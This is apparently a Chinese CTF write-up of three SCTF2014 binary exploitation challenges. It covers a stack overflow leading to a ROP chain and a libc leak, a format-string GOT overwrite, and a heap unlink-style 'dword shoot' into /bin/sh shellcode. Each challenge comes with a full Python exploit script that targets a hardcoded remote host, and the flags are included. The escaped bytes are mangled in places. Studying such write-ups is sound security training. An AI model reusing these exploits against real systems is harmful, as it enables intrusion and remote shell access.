PWN200 漏洞分析 1 2 3 pwn200: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH pwn200
只启用了NX 接下来分析程序,程序很简单
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 ssize\_t \_\_cdecl sub_80484AC () { ssize_t result; char v1; int buf; int v3; int v4; int v5; size_t n; n = 16 ; buf = 0 ; v3 = 0 ; v4 = 0 ; v5 = 0 ; memset (&v1, 0 , 0x80 u); write(1 , "input name:" , 12u ); read(0 , &buf, n + 1 ); if ( strlen ((const char *)&buf) - 1 > 9 || strncmp ("syclover" , (const char *)&buf, 8u ) ) { result = -1 ; } else { write(1 , "input slogan:" , 14u ); read(0 , &v1, n); result = write(1 , &v1, n); } return result; }
程序在read到buf时多读了一个字符,导致溢出修改n的值,之后read到v1时导致溢出控制程序流程。
漏洞利用 第一步先写入”sycloverx00x00123456xef”,其中xef就是覆盖变量n的字节。 之后程序调用read(0, &v1, n);时就可以读入payload 因为NX,所以采用ROP链执行。 题目提供了glibc.so,所以思路是先读取plt中__libc_start_main的地址,通过提供的glibc.so获取到system和__libc_start_main的偏移差计算出system的位置。
0003f430 w DF .text 0000008d GLIBC_2.0 system 000193e0 g DF .text 000001c2 GLIBC_2.0 __libc_start_main
地址偏移为 0x26050 之后将其写入.plt中__libc_start_main的位置。最后通过执行.got中__libc_start_main并置入参数sh来执行system(“sh”)获得shell。 exploit如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 ''' SCTF2014 pwn200 exp yuf4n ''' from zio import *import structwrite_got = l32(0x080483A0 ) read_got = l32(0x08048360 ) lib\_main\_got = l32(0x08048390 ) lib\_main\_plt = l32(0x0804985C ) ppppr = l32(0x08048645 ) pppr = l32(0x08048646 ) ppr = l32(0x080485bf ) \ io = zio(('218.2.197.248' ,10001 ),print_write=COLORED(REPR)) payload0 = '' payload0 += 'sycloverx00x00123456' +'xef' payload1 = '' \ \ payload1 += '1' * 0x9c \ payload1 += '2345' \ payload1 += write_got \ payload1 += pppr \ payload1 += l32(0x1 ) payload1 += lib\_main\_plt payload1 += l32(0x04 ) \ payload1 += read_got \ payload1 += pppr \ payload1 += l32(0x0 ) payload1 += lib\_main\_plt payload1 += l32(0x08 ) \ payload1 += lib\_main\_got payload1 += '1111' payload1 += l32(0x0804985C +0x4 ) \ io.read_until('input name:' ) io.write(payload0) io.read_until('input slogan:' ) io.write(payload1) buf = io.sock.recv(1024 ) lib\_main\_add = struct.unpack('<I' ,buf\[-4 :\])\[0 \] system\_add = lib\_main_add + 0x26050 print hex(lib\_main\_add)\ payload2 = l32(system_add) payload2 += 'shx00x00' io.write(payload2+'n' ) io.interact()
flag SCTF{SH3NG_4_KAN_DAN__BU_FU_9_GANN}
PWN300 1 2 3 pwn300: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX enabled No PIE No RPATH No RUNPATH pwn300
题目也提供了glibc,而且pwn200进去以后发现三题都在一个服务器上。所以目测利用方法应该相似。
漏洞分析 在第三个功能显示message发现一个格式化溢出漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 int \_\_cdecl fun3\_sub_80487FA(){ int result; char dest; int v2; v2 = *MK\_FP(\_\_GS__, 20 ); strcpy (&dest, src); printf ("Your message is:" ); printf (src); result = *MK\_FP(\_\_GS__, 20 ) ^ v2; if ( *MK\_FP(\_\_GS__, 20 ) != v2 ) \_\_stack\_chk_fail(); return result; }
而且之前还很配合的把src的内容复制到栈里。。。这样就有机会对任意地址进行修改
漏洞利用 利用格式化溢出漏洞可以对内存读取写入,所以可以利用pwn200的利用方式:读取PLT中__libc_main_start的地址,通过libc.so计算system的地址写入程序之后可能会用到的函数的GOT 通过调试发现输入buf的起点位于printf调用的第七个变量 读取.plt __libc_main_start的payload ‘x28x91x04x08%7$sn’ 接下来找一个接下来可能调用到的函数修改其PLT为system函数的地址。这个函数最好可以把“sh”作为参数放进去。于是我选择了memset函数 他在第二个功能中被用到,而且正好把src当参数调用,这样我们通过留言功能让src为”sh”就能调用system(“sh”)了。
1 2 3 4 5 6 int \_\_cdecl fun2\_sub_80487B6(){ puts ("input your message" ); memset (src, 0 , 0x400 u); return readbuf\_sub\_804866D((int )src, 1024 ); }
下面是exploit,修改地址的时候利用了libformatstr库
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 ''' SCTF2014 pwn300 exploit yuf4n ''' from libformatstr import *from zio import *import struct\ io = zio(('218.2.197.248' ,10002 ),print_write=COLORED(REPR)) memset\_plt\_addr = 0x08049130 p = FormatStr() payload\_leak\_lib_main = 'x28x91x04x08%7$sn' \ io.read_until('your choice:' ) io.write('2n' ) io.read_until('your message' ) io.write(payload\_leak\_lib_main) io.read_until('your choice:' ) io.write('3n' ) io.read_until('message is:' ) buf = io.read(8 ) buf = buf\[-4 :\] systemaddr = struct.unpack('<I' ,buf)\[0 \] + 0x26050 print 'SYSADDR' ,hex(systemaddr)\ p\[memset\_plt\_addr\] = systemaddr payload = p.payload(7 , start_len=0 ) + 'n' \ io.read_until('your choice:' ) io.write('2n' ) io.read_until('your message' ) io.write(payload) io.write('3n' ) \ io.read_until('your choice:' ) io.write('2n' ) io.read_until('message' ) io.write('shn' ) io.read_until('your choice:' ) io.write('2n' ) io.read_until('message' ) io.write('shn' ) io.interact()
flag SCTF{ZQzq2617}
PWN400 1 2 3 pwn400: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.26 RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO Canary found NX disabled No PIE No RPATH No RUNPATH pwn400
这个NX都没有。
漏洞分析 程序是一个类似便签的功能。 每个note是用malloc申请的,用双向链表链接起来,目测是某个同学的C语言小作业吧。。 3号功能可以显示note空间的的首地址。 在4号功能修改note的功能发现一个堆溢出的漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 int \_\_cdecl fun4\_sub_8048D09(int a1){ size_t v1; int result; int v3; char buf; int v5; v5 = *MK\_FP(\_\_GS__, 20 ); memset (&buf, 0 , 0x400 u); v3 = a1; if ( a1 ) { write(1 , "note title:" , 0xB u); read(0 , &buf, 0x400 u); while ( v3 ) { v1 = strlen (&buf); if ( !strncmp (&buf, (const char *)(v3 + 12 ), v1) ) break ; v3 = *(_DWORD *)(v3 + 8 ); } write(1 , "input content:" , 0xE u); read(0 , &buf, 0x400 u); strcpy ((char *)(v3 + 108 ), &buf); write(1 , "succeed!" , 8u ); puts ((const char *)(v3 + 108 )); } else { write(1 , "no notes" , 8u ); } result = *MK\_FP(\_\_GS__, 20 ) ^ v5; if ( *MK\_FP(\_\_GS__, 20 ) != v5 ) \_\_stack\_chk_fail(); return result; }
在5号功能删除note的功能发现一个类似dwrod shoot的漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 int \_\_cdecl sub\_8048E99(int a1){ int v1; int v2; int result; __int32 ptr; int buf; int v6; __int16 v7; int v8; v8 = *MK\_FP(\_\_GS__, 20 ); buf = 0 ; v6 = 0 ; v7 = 0 ; if ( *(_DWORD *)a1 ) { write(1 , "note location:" , 0xE u); read(0 , &buf, 8u ); ptr = strtol((const char *)&buf, 0 , 16 ); if ( *(_DWORD *)ptr == ptr ) { if ( *(_DWORD *)a1 == ptr ) { *(\_DWORD *)a1 = *(\_DWORD *)(*(_DWORD *)a1 + 8 ); } else { if ( *(_DWORD *)(ptr + 8 ) ) { v1 = *(_DWORD *)(ptr + 8 ); v2 = *(_DWORD *)(ptr + 4 ); *(_DWORD *)(v2 + 8 ) = v1; *(_DWORD *)(v1 + 4 ) = v2; } else { *(\_DWORD *)(*(\_DWORD *)(ptr + 4 ) + 8 ) = 0 ; } } write(1 , "succeed!nn" , 0xA u); free ((void *)ptr); } } else { write(1 , "no notes" , 8u ); } result = *MK\_FP(\_\_GS__, 20 ) ^ v8; if ( *MK\_FP(\_\_GS__, 20 ) != v8 ) \_\_stack\_chk_fail(); return result; }
例如ptr = ¬e (note空间的基地址) 则可以进行 [ [ptr+4]+8 ] = [prt+8] [ [ptr+8]+4 ] = [ptr+4]
漏洞利用 思路是通过堆溢出漏洞可以覆盖到另外一个note的ptr+4 和 ptr+8。 之后利用这个dword shoot修改即将要调用的函数的plt到shellcode处。 shellcode前面要加一些nop,因为dword shoot的副作用会修改到shellcode。 具体操作:
新建3个note,我把shellcode放在第三个note的content里
查看他们的地址
溢出第一个note
删除第二个note,通过dword shoot修改write函数的plt为shellcode位置(有试过修改其他函数的,发现修改write可以成功。)
程序在dword shoot之后就有一个write调用,即进入shellcode
exploit如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 ''' SCTF2014 pwn400 exploit yuf4n ''' from zio import *import struct\ io = zio(('218.2.197.248' ,10003 ),print_write=COLORED(REPR)) exit_plt = 0x0804A46C free_plt =0x0804A450 write_plt =0x0804A478 shellcode = "x90" *16 +"x31xc9xf7xe1xb0x0bx51x68x2fx2fx73x68x68x2fx62x69x6ex89xe3xcdx80" io.read_until('option--->>' ) io.write('1n' ) io.read_until('note title:' ) io.write('1n' ) io.read_until('note type:' ) io.write('1n' ) io.read_until('note content:' ) io.write('1n' ) io.read_until('option--->>' ) io.write('1n' ) io.read_until('note title:' ) io.write('2n' ) io.read_until('note type:' ) io.write('2n' ) io.read_until('note content:' ) io.write('2n' ) io.read_until('option--->>' ) io.write('1n' ) io.read_until('note title:' ) io.write('3n' ) io.read_until('note type:' ) io.write('3n' ) io.read_until('note content:' ) io.write(shellcode+'n' ) io.read_until('option--->>' ) io.write('3n' ) io.read_until('note title:' ) io.write('3n' ) buf = io.read_until('option--->>' ) addr_3 = buf\[buf.find('location:0x' )+len('location:0x' ):buf.find('location:0x' )+len('location:0x' )+8 \] io.write('3n' ) io.read_until('note title:' ) io.write('2n' ) buf = io.read_until('option--->>' ) addr_2 = buf\[buf.find('location:0x' )+len('location:0x' ):buf.find('location:0x' )+len('location:0x' )+8 \] payload = '1' *0x100 payload += '2222' \ payload += l32(int(addr_2,16 )) \ payload += l32(write_plt-0x8 ) \ payload += l32(int(addr_3,16 )+108 ) payload += 'efghijklmn' io.write('4n' ) io.read_until('title:' ) io.write('1n' ) io.read_until('content:' ) io.write(payload+'n' ) io.read_until('option--->>' ) io.write('5n' ) \ io.read_until('location:' ) io.write(addr_2+'n' ) io.interact()
flag SCTF{2318540E78446A0E84EF69685092F0C3}
Comment and share